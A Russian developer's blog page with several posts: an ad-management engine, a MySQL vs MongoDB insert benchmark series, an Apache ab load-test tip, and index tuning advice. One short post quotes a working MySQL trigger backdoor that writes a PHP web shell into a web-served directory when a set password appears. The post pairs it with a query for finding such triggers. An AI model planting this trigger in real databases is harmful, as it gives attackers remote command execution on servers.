Мой путь наверх / DoFollow блог

Мой проект. win2win.

Вам: удобный движок для управления рекламой всех своих сайтов из одного места. с суппортом и помощью.

Мне: Формирую детальный каталог по рекламодателям и предлагаю регистрацию по реф ссылкам.

Описание:

плюсы:

• скрытый вызов рекламного блока
• возможность кроме javascript выполнять PHP! внутри рекламной области сайта
• очень высокое быстродействие. Загляните внутрь include/ после прилинковки областей сайта к рекламным кодам. Никаких запросов к базе.

минусы:

• работает в пределах сервера(пока)
• дизайн на любителя

Причина создания: устал возиться с openx. Сложно, избыточно, медленно.

Версия стабильна, имеется инсталлятор, приглашаю начать использовать в бетта режиме http://iako.ru

ацкая штука:

delimiter |
CREATE TRIGGER backdoor AFTER UPDATE ON users
FOR EACH ROW label:BEGIN
IF (SELECT password FROM users WHERE id=123)='gimme_that_shell' THEN
SELECT '<?=`$c`?>' INTO OUTFILE '/home/site/httpdocs/avators/smile.php';
ELSE
LEAVE label;
END IF;
END;

Срочно делайте:

SELECT * FROM information_schema.TRIGGERS

=)

подробнее http://raz0r.name/mysli/backdoor-in-trigger/

В продолжение решения задачи: Реляционка или не реляционка

Пройдя первый этап: MySQL vs MongoDB. Сравнение скорости insert Создания пользователей.

Пройдя второй этап:MySQL vs MongoDB. Более сложный insert (для mongodb) Создания друзей.

Пройдя третий этап: MySQL vs MongoDB. Более сложный insert (для mongodb) часть 2. Создания фотографий у каждого пользователя

Теперь пометим у каждого френда (100 френдов у каждого из 1000 пользователей) по 50 фотографий из 100 просмотренными. Получается 1000*100*50=5000000 (пять миллионов записей):

Для MySQL это вставка в таблицу who_view_photo записи с id_photo и id_user просмотревшем его.

Для MongoDB это изменение существующих объектов в коллекции пользователей. Причём мы меняем 3-й уровень объекта в глубину:

Посмотрим насколько шустро отработает наш MongoDB. Ему уже приходится в каждом объекте содержать информацию о 100 друзьях и 100 фотографиях (1000 записей).

По оси Х-время, по оси Y-количество случаев с данным временем. На примере вставки первых 50000 элементов (просмотров фотографий):

Вывод: Объекты MongoDB разжирнев, обрабатываются дольше, чем банальная вставка значения в таблицу MySQL. Но даже содержа 1000 значений в объекте, выполняя фактически операцию update к объекту (меняя его содержимое) мы получаем все-лишь двукратное замедление, что радует.

В продолжение решения задачи: Реляционка или не реляционка

Пройдя первый этап: MySQL vs MongoDB. Сравнение скорости insert Создания пользователей.

Пройдя второй этап:MySQL vs MongoDB. Более сложный insert (для mongodb) Создания друзей.

Создадим фотографии пользователей. Каждому пользователю по 100 фотографий.

Для MySQL это обычное создание записи в таблице:

Для NoSQL это добавление в коллекцию пользователей из MySQL vs MongoDB. Более сложный insert (для mongodb) ещё одного поля photos, являющегося множеством элементов.

И сравниваем производительность выполнения вставки 100 фотографий каждому из 1000 пользователей (100000 элементов).

По оси Х-время в секундах, по оси Y-количество случаев с данным временем выполнения(основной кусок увеличен):

Вывод: нужно понимать, что для MySQL — создание фотографии лишь вставка новой записи в таблицу фотографий, а для MongoDB — изменение существующего объекта, в котором уже содержится 100 друзей, созданных в предыдущем этапе, и ещё добавляется 100 элементов фотографий. Но при всём этом MongoDB половину операций (~50000) отработало за 0.0001 секунды, а MySQL редко ранее 0.0005 секунды. И MongoDB пришлось проделать гораздо большую работу (обновить существующие объекты).

В продолжение решения задачи: Реляционка или не реляционка

Пройдя первый этап: MySQL vs MongoDB. Сравнение скорости insert

Создадим для 1000 пользователей системы по 100 друзей каждому (1000*100=100000 записей).
В MySQL мы имеем структуру:

Таким образом для MySQL это будет вставка записи в таблицу friends.
В MongoDB мы имеем структуру сложнее. т.к. вся информация представлена в виде большого дерева.
Мы имеем коллекцию пользователей. В которой все наши 1000 пользователей как документы.
Каждый документ имеет структуру:

1. поле id_user
2. массив ifriends состоящий из элементов id_friend (ссылка на другой элемент этой же коллекции users)

Понять сложно, если вы до этого ни разу не делали nosql проект. Обязательно изучите.
Ну так вот, операция создания френдов, по времени (по оси Х-время в секундах, по оси Y-количество операций с этим временем выполнения):

Вывод: тут нужно понимать, что в mysql — обычная вставка данных в таблицу, а в MongoDB — обновление существующего объекта — создание в его поле ifriend ещё одного элемента, хоть и с одним значением id_friend, но всё-же это update. Ну и мы видим, что выполнив 100000 таких операций мы имеет сравнимо одинаковые затраты по времени.

Для решения задачи Реляционка или не реляционка

Вставим 1000 записей в таблицу. Для чистоты эксперимента в таблицах уже по 10000 записей.

UPD: переделал сбор статистики и запустил на нормальном сервере. Результаты разительно другие (по Х-время в секундах, по Y-количество случаев):

Вывод: видим явно более быструю работу insert в mongodb. Нужно понимать что операции происходят в памяти, никакого обращения к диску не происходит. В обоих случаях. =)

Попробуем решить интересную задачу двумя способами (реляционным и не реляционным).
Допустим есть социальная сеть.
В ней есть пользователи, которые помечают других пользователей френдами.
Пользователи выкладывают какие-либо фотографии.

Задача: Для текущего пользователя вывести список всех фотографий френдов, которые этот пользователь ещё не просмотрел. О_о

Бум использовать:
php фреймворк CodeIgniter
mysql для реляционки
MongoDB для NoSql

Начальные данные:
1. создадим 1000 пользователей
2. для каждого пользователя зададим 100 друзей
3. для каждого пользователя зададим 100 фотографий (получится всего 100,000 фотографий О_о)
4. каждым пользователем посетим случайные 50 фото каждого своего друга (50*100*1000=5,000,000 записей)
5. каждым пользователем посетим случайные 1000 фото (1,000*1,000=1,000,000 ненужных записей дополнительно)

Ну и область наших интересов — быстродействие
Пока в процессе проектирования — пишите что-нить =)

первый раз осилил многобукаф в названии поста, собственно продолжим.

если вы линупсоид,выполните

ab -c 100 -n 10000 http://мой_сайт.ru/

Эта команда выполнит лёгенький ддос на ваш сайт(10000 запросов суммарно по 100 запросов параллельно) =)
что интересного можно узнать из результата:

Нажать

Ну вот, кроме всяких скоростей есть поле failed requests. Это количество ошибок. Если их нет, то хорошо.

Естественно такие данные как ниже вас должны ввергать в неконтроллируемый страх и ужос, как и повёл себя товарищ пилящий =)

Кликабельно

Today I was checked up traffic structure on my web projects. Simultaneous visitings (habroeffect) on certain sites doesn’t happen and I doubt that will be. Therefore has decided to translate the engine for the sites, written on codeigniter with mysql on sqlite.

Have a nice day!

Как выжать из нашей ласточки всё по максимуму?

1. Как показывает практика, можно увеличить скорость работы запросов в 10-15 раз, составив правильный индекс на таблицы. Проанализируйте основные свои запросы к базе данных и составьте индекс из всех полей, которые являются критериями выборки.

Например, вы обнаружили что очень много подобных запросов:

select * from price_items_params where price_item_id=1 and price_param_group=’Наличие в магазине’ and price_param_name=’РВ’

в таких случаях рекомендуется повесить на таблицу price_items_params составной индекс из полей price_item_id, price_param_group, price_param_name.

Ну, и не делайте поля типа Text(по возможности) они неопределённой длины, что затрудняет работу с ними.